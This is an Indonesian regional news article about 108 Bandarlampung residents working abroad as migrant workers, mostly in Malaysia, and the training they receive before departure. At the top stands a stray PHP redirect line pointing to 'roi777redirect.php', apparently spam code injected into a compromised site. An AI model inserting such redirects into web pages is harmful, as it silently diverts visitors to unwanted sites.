header( 'Location: /roi777redirect.php true, 303 );header( 'Location: roi777redirect.php', true, 303 ); Sulitnya Cari Kerja di Tanah Kelahiran -
Sulitnya Cari Kerja di Tanah Kelahiran

TRANSLAMPUNG.COM, BANDARLAMPUNG – Sulitnya mendapatkan kerja di tanah kelahiran sendiri, hal tersebut membuat 108 warga Bandarlampung berstatus bekerja di negri tetangga dengan merk sebagai Tenaga Kerja Indonesia (TKI).

Kepala Bidang (Kabid) Penempatan Kerja Dinas Tenaga Kerja (Disnaker) setempat M Kabul menduga, minimnya keterampilan dan sulitnya mencari lapangan kerja membuat 108 orang bekerja dinegri tetangga.

“Bisa jadi,  mereka (TKI) bekerja diluar negri karena minimnya keterampilan yang mereka dapatkan,  penyenan lainnya bisa jadi karena sulitnya mencari kerjaan,” kata dia, Kamis (22/3).

Dia menjelaskan, untuk penempatan TKI dari total 108, penampatan ke negri tetangga yakni Malaysia menduduki pringkat tertinggi dengan jumlah 40 jiwa.

“Iya memang,  dari tahun ketahun penempatan TKI terbanyak diduduki oleh negri tetangga yakni Malaysia,” imbuhnya.

Lalu disusul urutan kedua yakni Taiwan, Singapore dan Afrika. Sayang pria akrab disapa Kabul tidak bisa memaparkan secara detail.

Disinggung, pekerjaan apakah yang mereka (TKI) lakoni di negri orang. Kabul menyebut prosesi sebagai pekerja rumah tangga mendominasi dengan angka sebesar 30 jiwa lalu disusul sebagai buruh las dengan jumlah 27 jiwa.

Agar ketika TKI dapat nyaman bekerja di negri orang, sebelum diberangkatkan terlebih dahulu pihaknya memberi pembekalan berupa keterampilan, etika dan bahasa di masing-masing negara tujuan.

“Iya tiga bulan sebelum TKI kami berangkatkan, terlebih dahulu kami memberikan pembekalan, berupa keterampilan, etika dan bahasa,” tandasnya. (jef/hkw)

News Reporter